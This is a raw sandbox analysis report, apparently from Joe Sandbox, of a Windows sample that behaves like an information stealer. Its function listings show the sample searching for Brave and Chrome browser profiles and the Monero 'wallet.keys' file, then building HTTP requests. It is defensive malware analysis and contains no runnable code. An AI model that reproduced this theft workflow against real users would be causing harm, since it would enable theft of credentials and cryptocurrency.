LoadLibraryA.KERNEL32(010818B8,?,00536A00), ref: 00539ACF
LoadLibraryA.KERNEL32(01081858,?,00536A00), ref: 00539AE0
GetProcAddress.KERNEL32(76850000,01081870), ref: 00539B02
GetProcAddress.KERNEL32(77040000,010817F8), ref: 00539B23
GetProcAddress.KERNEL32(77040000,01081810), ref: 00539B3B
GetProcAddress.KERNEL32(75A10000,01088E28), ref: 00539B5D
GetProcAddress.KERNEL32(75690000,010766B8), ref: 00539B7E
GetProcAddress.KERNEL32(776F0000,01088BD8), ref: 00539B9F
GetProcAddress.KERNEL32(776F0000,NtQueryInformationProcess), ref: 00539BB6

Strings

NtQueryInformationProcess, xrefs: 00539BAA

Memory Dump Source

Source File: 00000000.00000002.1469268125.0000000000521000.00000040.00000001.01000000.00000003.sdmp, Offset: 00520000, based on PE: true

Associated: 00000000.00000002.1469247940.0000000000520000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.000000000057A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.0000000000602000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.000000000060F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.000000000062F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.000000000063B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.000000000063E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000006C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000006E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000006EB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.000000000077E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.0000000000900000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.00000000009DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.0000000000A02000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.0000000000A0C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.0000000000A19000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1470006095.0000000000A1A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1470108573.0000000000BB3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1470123498.0000000000BB4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_520000_file.jbxd

Yara matches

Similarity

API ID: AddressProc$LibraryLoad
String ID: NtQueryInformationProcess
API String ID: 2238633743-2781105232
Opcode ID: aa1e505f950670c9847dd9a3bc7329e902b6fbf936f7a5ac0330af98eb0a2082
Instruction ID: 6ca33e904e4904a067b3be94cb175c003d57eb2432325bbdb53516f3d35ad41b
Opcode Fuzzy Hash: aa1e505f950670c9847dd9a3bc7329e902b6fbf936f7a5ac0330af98eb0a2082
Instruction Fuzzy Hash: 79A16BB5500341BFC345EFA8EE889663BF9F79C301704C51AE607A3264D6BDA841DF2A

Function 005245C0 Relevance: 56.1, APIs: 2, Strings: 30, Instructions: 148
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlAllocateHeap.NTDLL(00000000), ref: 0052460F
VirtualProtect.KERNEL32(?,00000004,00000100,00000000), ref: 0052479C

Strings

The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 0052471E
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00524765
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 005246C2
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 0052466D
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 005246D8
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00524662
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 005246CD
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 0052462D
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00524622
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00524657
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 005245D2
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00524683
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00524617
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00524638
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00524678
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 0052473F
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 005245C7
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 005245E8
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 0052477B
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 0052475A
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00524734
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00524770
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 005245F3
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 005246B7
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00524713
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 0052474F
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 005245DD
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00524643
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 005246AC
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00524729

Memory Dump Source

Source File: 00000000.00000002.1469268125.0000000000521000.00000040.00000001.01000000.00000003.sdmp, Offset: 00520000, based on PE: true

Associated: 00000000.00000002.1469247940.0000000000520000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.000000000057A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.0000000000602000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.000000000060F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.000000000062F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.000000000063B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.000000000063E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000006C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000006E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000006EB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.000000000077E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.0000000000900000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.00000000009DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.0000000000A02000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.0000000000A0C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.0000000000A19000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1470006095.0000000000A1A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1470108573.0000000000BB3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1470123498.0000000000BB4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_520000_file.jbxd

Yara matches

Similarity

API ID: AllocateHeapProtectVirtual
String ID: The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.
API String ID: 1542196881-2218711628
Opcode ID: 0b7157ec8156880976220eabafd532d5c8136437bab993a0baa1ade93dcfce22
Instruction ID: bc62c2e419abb4c67ebdaf541820f5818968e418e63d9f8a7e23294585ae3233
Opcode Fuzzy Hash: 0b7157ec8156880976220eabafd532d5c8136437bab993a0baa1ade93dcfce22
Instruction Fuzzy Hash: 58413431FC162DFBC624BBACA8EDBDD7B767F52748B505240AA00126C1DAA076234D1B

Function 0052BE70 Relevance: 37.4, APIs: 17, Strings: 4, Instructions: 675
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0053A740: lstrcpy.KERNEL32(00540E17,00000000), ref: 0053A788

Part of subcall function 0053A920: lstrcpy.KERNEL32(00000000,?), ref: 0053A972
Part of subcall function 0053A920: lstrcat.KERNEL32(00000000), ref: 0053A982

Part of subcall function 0053A9B0: lstrlen.KERNEL32(?,01088AA8,?,\Monero\wallet.keys,00540E17), ref: 0053A9C5
Part of subcall function 0053A9B0: lstrcpy.KERNEL32(00000000), ref: 0053AA04
Part of subcall function 0053A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0053AA12

Part of subcall function 0053A8A0: lstrcpy.KERNEL32(?,00540E17), ref: 0053A905

FindFirstFileA.KERNEL32(00000000,?,00540B32,00540B2B,00000000,?,?,?,005413F4,00540B2A), ref: 0052BEF5
StrCmpCA.SHLWAPI(?,005413F8), ref: 0052BF4D
StrCmpCA.SHLWAPI(?,005413FC), ref: 0052BF63
FindNextFileA.KERNELBASE(000000FF,?), ref: 0052C7BF
FindClose.KERNEL32(000000FF), ref: 0052C7D1

Strings

Preferences, xrefs: 0052C11E
\Brave\Preferences, xrefs: 0052C1DB
Google Chrome, xrefs: 0052C634
Brave, xrefs: 0052C102

Memory Dump Source

Source File: 00000000.00000002.1469268125.0000000000521000.00000040.00000001.01000000.00000003.sdmp, Offset: 00520000, based on PE: true

Associated: 00000000.00000002.1469247940.0000000000520000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.000000000057A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.0000000000602000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.000000000060F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.000000000062F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.000000000063B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.000000000063E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000006C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000006E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000006EB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.000000000077E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.0000000000900000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.00000000009DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.0000000000A02000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.0000000000A0C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.0000000000A19000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1470006095.0000000000A1A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1470108573.0000000000BB3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1470123498.0000000000BB4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_520000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$Find$Filelstrcat$CloseFirstNextlstrlen
String ID: Brave$Google Chrome$Preferences$\Brave\Preferences
API String ID: 3334442632-726946144
Opcode ID: 8c72309d991a0396b74a2f3627b22f5c4183eb68be7676c38e29bbf3237b810f
Instruction ID: 3648e703c283e95fc738b36295cc707c9e0369311f4b7628d05d45ef8861ac8a
Opcode Fuzzy Hash: 8c72309d991a0396b74a2f3627b22f5c4183eb68be7676c38e29bbf3237b810f
Instruction Fuzzy Hash: E0424272900105ABCB14FB70DD9AEEE7B7CBFD4300F408558F946A6181EE34AB49CB96

Function 6CE735A0 Relevance: 37.0, APIs: 16, Strings: 5, Instructions: 294
stringtimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

InitializeCriticalSectionAndSpinCount.KERNEL32(6CEFF688,00001000), ref: 6CE735D5
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_TIMESTAMP_MODE), ref: 6CE735E0
QueryPerformanceFrequency.KERNEL32(?), ref: 6CE735FD
_strnicmp.API-MS-WIN-CRT-STRING-L1-1-0(?,GenuntelineI,0000000C), ref: 6CE7363F
GetSystemTimeAdjustment.KERNEL32(?,?,?), ref: 6CE7369F
__aulldiv.LIBCMT ref: 6CE736E4
QueryPerformanceCounter.KERNEL32(?), ref: 6CE73773
EnterCriticalSection.KERNEL32(6CEFF688), ref: 6CE7377E
LeaveCriticalSection.KERNEL32(6CEFF688), ref: 6CE737BD
QueryPerformanceCounter.KERNEL32(?), ref: 6CE737C4
EnterCriticalSection.KERNEL32(6CEFF688), ref: 6CE737CB
LeaveCriticalSection.KERNEL32(6CEFF688), ref: 6CE73801
__aulldiv.LIBCMT ref: 6CE73883
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,QPC), ref: 6CE73902
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,GTC), ref: 6CE73918
_strnicmp.API-MS-WIN-CRT-STRING-L1-1-0(?,AuthcAMDenti,0000000C), ref: 6CE7394C

Strings

GTC, xrefs: 6CE73912
MOZ_TIMESTAMP_MODE, xrefs: 6CE735DB
GenuntelineI, xrefs: 6CE73639
QPC, xrefs: 6CE738FC
AuthcAMDenti, xrefs: 6CE73946

Memory Dump Source

Source File: 00000000.00000002.1493906612.000000006CE71000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CE70000, based on PE: true

Associated: 00000000.00000002.1493890580.000000006CE70000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1493952571.000000006CEED000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1493973797.000000006CEFE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1494002037.000000006CF02000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce70000_file.jbxd

Similarity

API ID: CriticalSection$PerformanceQuery$CounterEnterLeave__aulldiv_strnicmpstrcmp$AdjustmentCountFrequencyInitializeSpinSystemTimegetenv
String ID: AuthcAMDenti$GTC$GenuntelineI$MOZ_TIMESTAMP_MODE$QPC
API String ID: 301339242-3790311718
Opcode ID: 024756eb90e73b395c22670e0350f92615f399b7a16d52072dbbe86f0a3fa359
Instruction ID: 2b91ae7d8f2a3605a73c92a11e74e6445a44dc8e5eb2c221411fcaf2054887d0
Opcode Fuzzy Hash: 024756eb90e73b395c22670e0350f92615f399b7a16d52072dbbe86f0a3fa359
Instruction Fuzzy Hash: DBB1C4B1B043109FDB18DF28D44461ABBF5FBCA704F15892EE9A9D7790DB34A901CB91

Function 00534910 Relevance: 36.9, APIs: 18, Strings: 3, Instructions: 172
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

wsprintfA.USER32 ref: 0053492C
FindFirstFileA.KERNEL32(?,?), ref: 00534943
StrCmpCA.SHLWAPI(?,00540FDC), ref: 00534971
StrCmpCA.SHLWAPI(?,00540FE0), ref: 00534987
FindNextFileA.KERNEL32(000000FF,?), ref: 00534B7D
FindClose.KERNEL32(000000FF), ref: 00534B92

Strings

%s\%s, xrefs: 005349FB
%s\*, xrefs: 00534920
%s\%s, xrefs: 005349A4

Memory Dump Source

Source File: 00000000.00000002.1469268125.0000000000521000.00000040.00000001.01000000.00000003.sdmp, Offset: 00520000, based on PE: true

Associated: 00000000.00000002.1469247940.0000000000520000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.000000000057A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.0000000000602000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.000000000060F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.000000000062F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.000000000063B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.000000000063E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000006C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000006E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000006EB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.000000000077E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.0000000000900000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.00000000009DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.0000000000A02000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.0000000000A0C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.0000000000A19000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1470006095.0000000000A1A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1470108573.0000000000BB3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1470123498.0000000000BB4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_520000_file.jbxd

Yara matches

Similarity

API ID: Find$File$CloseFirstNextwsprintf
String ID: %s\%s$%s\%s$%s\*
API String ID: 180737720-445461498
Opcode ID: ea85a7c8d721dacd83deee5704e19cd63d297c92352a23c1b2b7f2eea69ee81a
Instruction ID: 5af13afaac1e87f725f26a43b1ae3c4fe7f1b2b47af72e4facfa129bd7c4e847
Opcode Fuzzy Hash: ea85a7c8d721dacd83deee5704e19cd63d297c92352a23c1b2b7f2eea69ee81a
Instruction Fuzzy Hash: 2F616872500219BBCB20EBA0DC49FEA777CBF48700F048598F60AA6141EB75EB85CF95

Function 00524880 Relevance: 28.5, APIs: 11, Strings: 5, Instructions: 479
networkstringfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0053A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0053A7E6

Part of subcall function 005247B0: lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 00524839
Part of subcall function 005247B0: InternetCrackUrlA.WININET(00000000,00000000), ref: 00524849

Part of subcall function 0053A740: lstrcpy.KERNEL32(00540E17,00000000), ref: 0053A788

InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 00524915
StrCmpCA.SHLWAPI(?,0108F278), ref: 0052493A
InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00524ABA
lstrlen.KERNEL32(00000000,00000000,?,?,?,?,00540DDB,00000000,?,?,00000000,?,",00000000,?,0108F2B8), ref: 00524DE8
lstrlen.KERNEL32(00000000,00000000,00000000), ref: 00524E04
HttpSendRequestA.WININET(00000000,00000000,00000000), ref: 00524E18
InternetReadFile.WININET(00000000,?,000007CF,?), ref: 00524E49
InternetCloseHandle.WININET(00000000), ref: 00524EAD
InternetCloseHandle.WININET(00000000), ref: 00524EC5
HttpOpenRequestA.WININET(00000000,0108F348,?,0108EC50,00000000,00000000,00400100,00000000), ref: 00524B15

Part of subcall function 0053A9B0: lstrlen.KERNEL32(?,01088AA8,?,\Monero\wallet.keys,00540E17), ref: 0053A9C5
Part of subcall function 0053A9B0: lstrcpy.KERNEL32(00000000), ref: 0053AA04
Part of subcall function 0053A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0053AA12

Part of subcall function 0053A8A0: lstrcpy.KERNEL32(?,00540E17), ref: 0053A905

Part of subcall function 0053A920: lstrcpy.KERNEL32(00000000,?), ref: 0053A972
Part of subcall function 0053A920: lstrcat.KERNEL32(00000000), ref: 0053A982

InternetCloseHandle.WININET(00000000), ref: 00524ECF

Strings

------, xrefs: 00524B28
", xrefs: 00524D33
------, xrefs: 00524C69
------, xrefs: 005249BD
", xrefs: 00524BF2

Memory Dump Source

Source File: 00000000.00000002.1469268125.0000000000521000.00000040.00000001.01000000.00000003.sdmp, Offset: 00520000, based on PE: true

Associated: 00000000.00000002.1469247940.0000000000520000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.000000000057A000.00000040.00000001.01000000.00000003.sdmpDownload File
